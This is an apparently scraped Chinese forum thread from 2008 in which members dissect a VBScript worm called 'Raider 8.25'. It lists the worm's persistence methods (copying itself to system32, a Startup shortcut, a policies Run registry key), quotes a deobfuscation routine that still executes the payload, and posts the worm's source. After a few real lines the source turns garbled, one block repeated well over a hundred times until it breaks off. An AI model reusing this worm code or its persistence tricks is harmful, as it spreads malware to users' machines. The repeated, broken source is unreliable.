发贴: 1269
威望: 0
浮云: 585
在线等级:
注册时间: 2004-09-08
最后登陆: 2012-02-06

5come5帮你背单词 [ approach /ə'prəut/ vt. 走近,接近,处理,对待;vi. 临近,接近;n. 走近,接近,办法,看法,观点 ]


回到5c5
很高兴
决定以身试毒
哈哈
本帖最近评分记录:
  • 浮云:5(震月) 赞一下白鼠精神
  • 顶端 Posted: 2008-03-04 23:08 | [5 楼]
    木鱼



    性别: 保密 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 1269
    威望: 0
    浮云: 585
    在线等级:
    注册时间: 2004-09-08
    最后登陆: 2012-02-06

    5come5帮你背单词 [ cable /'keibl/ n. 缆,电缆,电报;vt. 打电报 ]


    启动方式

    copy自己到C:\WINDOWS\system32  文件名字为.vbe
    还有一个C:\WINDOWS\.vbe
    在C:\Documents and Settings\All Users\「开始」菜单\程序\启动    添加快捷方式
    在注册表SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run


    [ 此帖被木鱼在2008-03-04 23:32重新编辑 ]
    顶端 Posted: 2008-03-04 23:12 | [6 楼]
    est





    性别: 帅哥 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 6578
    威望: 3
    浮云: 431
    在线等级:
    注册时间: 2006-10-14
    最后登陆: 2018-07-05

    5come5帮你背单词 [ straighten /'streitn/ vt. 使变直 ]


    Quote:
    引用第6楼木鱼于2008-03-04 23:12发表的  :
    启动方式

    copy自己到C:WINDOWSsystem32  文件名字为.vbe
    还有一个C:WINDOWS.vbe
    在C:Documents and SettingsAll Users「开始」菜单程序启动    添加快捷方式
    .......



    C:\WINDOWS\.vbe

    把这个vbe贴出来就晓得源码了嘛
    顶端 Posted: 2008-03-05 10:45 | [7 楼]
    木鱼



    性别: 保密 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 1269
    威望: 0
    浮云: 585
    在线等级:
    注册时间: 2004-09-08
    最后登陆: 2012-02-06

    5come5帮你背单词 [ outline /'aut-lain/ n. 轮廓,提纲,概要;vt. 画出轮廓,概括 ]


    Quote:
    引用第7楼est于2008-03-05 10:45发表的  :



    C:WINDOWS.vbe

    .......


    是复制的自己
    就是原来那个加密的版本
    顶端 Posted: 2008-03-05 10:55 | [8 楼]
    est





    性别: 帅哥 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 6578
    威望: 3
    浮云: 431
    在线等级:
    注册时间: 2006-10-14
    最后登陆: 2018-07-05

    5come5帮你背单词 [ campus /'kæmpəs/ n. (大学)校园 ]


    网上有教程了

    http://www.huaidan.org/blog/article.asp?id=1749

    [quote]
    鬼仔注:备份 vbs.rar ok.txt

    来源:余弦函数

    思路应该不会错,一个才9.76 KB的VBS乱码解密出的文件有203 KB。源文件可以从这里下载:http://www.kingzoo.com/tools/greysign/vbs.rar或者直接点击这查看:http://evilcos.googlepages.com/evilvbs8.25.txt。现在我来说说自己的解密思路。
    在VBS中,execute函数可以用来执行表达式,类似于JS中的eval。VBS中也有eval函数,不过它与execute有一点区别。关于JS的解密,我已经写过许多文章,比如可以使用alert替换eval弹出解密值,为了方便还可以使用标签解密[屏蔽]或者document.getElementById()方法来获取解密结果等等。同理在VBS中可以用msgbox或者wscript.echo将解密结果弹出。
    为了方便,我参考了点别人的思路写了这个VBS过程:
    sub hook_execute(x)
    'wscript.echo x
    outfile="ok.txt"
    set fso=createobject("Scripting.FileSystemObject")
    if (fso.fileexists(outfile)) then
    set objtxt=fso.opentextfile(outfile,8,true,0)
    objtxt.write x&vbcrlf
    objtxt.close
    execute x
    else
    set objtxt=fso.createtextfile(outfile,True,False)
    objtxt.write x&vbcrlf
    objtxt.close
    execute x
    end if
    end sub
    这个hook_execute方法可以跟踪VBS乱码中execute行为,可以肯定的是当一段乱码被execute后最终会还原为明码,利用这个原理hook_execute会将解密的结果写进一个叫做ok.txt的文本文件中,并继续执行execute。用法很简单:将跟踪出的乱码中的 execute替换为hook_execute方法即可。由于VBS与JS一样是解释型语言,代码自上而下,一行一行地运行。所以有时候我们寻找解密入口点时,应该优先考虑最后一个execute。并且由于现在的VBS/VbScript/JS都喜欢将一些特征字符串打乱,然后用逻辑符拼接,其目的或者是为了达到免杀或者是为了迷惑[屏蔽]者,我们应该利用这些双引号(字符串在双引号内,VBS的单引号是注释符)来区分每个字符串片段。也许从中会发现一些有价值的解密信息。
    第一次解密时利
    顶端 Posted: 2008-03-06 11:24 | [9 楼]
    est





    性别: 帅哥 状态: 该用户目前不在线
    等级: 荣誉会员
    发贴: 6578
    威望: 3
    浮云: 431
    在线等级:
    注册时间: 2006-10-14
    最后登陆: 2018-07-05

    5come5帮你背单词 [ transplant /træns'pla:nt/ vt. 移植 ]


    源码:
    Copy code
    dim d:j="\":on error resume next
    ver="8.25":vs=".vbs":ve=".vbe":j="\":cm="%comspec% /c ":dfo="/8#0/":til="Raider "&ver:inf="\autorun.inf"
    set ws=createobject("wscript.shell"):set wmi=getobject("winmgmts:\\.\root\cimv2")
    set fso=createobject("scripting.filesystemobject"):set sis=wmi.execquery("select * from win32_operatingsystem")
    set dc=fso.drives:ouw=wscript.scriptfullname:win=fso.getspecialfolder(0)&j:dir=fso.getspecialfolder(1)&j
    tmp=fso.getspecialfolder(2)&j:wbe=dir&"wbem\":mir=left(ouw,len(ouw)-len(wscript.scriptname))
    wsr="createobject(""wscript.shell"").run":cnr="\computername":cnp="HKLM\system\currentcontrolset\control"&cnr&cnr&cnr
    cna=rr(cnp,0):if cna="" then cna=til
    rpa="HKLM\software\"&cna&j:rop="\software\microsoft\windows\currentversion\explorer\"
    sf="shell folders\":fsp=rr("HKLM"&rop&sf&"common startup",0)&j&vs:fap=rr("HKCU"&rop&sf&"favorites",0)&j
    dap=rr("HKCU"&rop&sf&"desktop",0)&j:rsn=cna:ht=ec("ivwt?56"):ha=ec(":;9::<5kw9"):hc=":143gzxHsH":he=ec("c"+hc)
    rsp="HKLM\software\microsoft\windows\currentversion\policies\explorer\run\":if mir=dir then sys=true
    for each si in sis:ca=si.caption:cs=si.codeset:cc=si.countrycode:os=si.oslanguage:wv=si.version:next
    hip="HKCU"&rop&"advanced\showsuperhidden":hb="v91:;676x"&chr(124)&"r;"
    if instr(wv,"5.2")<>0 then
    hd="t"+hc
    elseif os<>2052 then hd="p"+hc:else hd="$"+hc:end if
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
    if pa=1 then rna=rpa&rna
    rr=ws.regread(rna)
    if er(0) then rr=0
    dim d:j="\":on error resume next
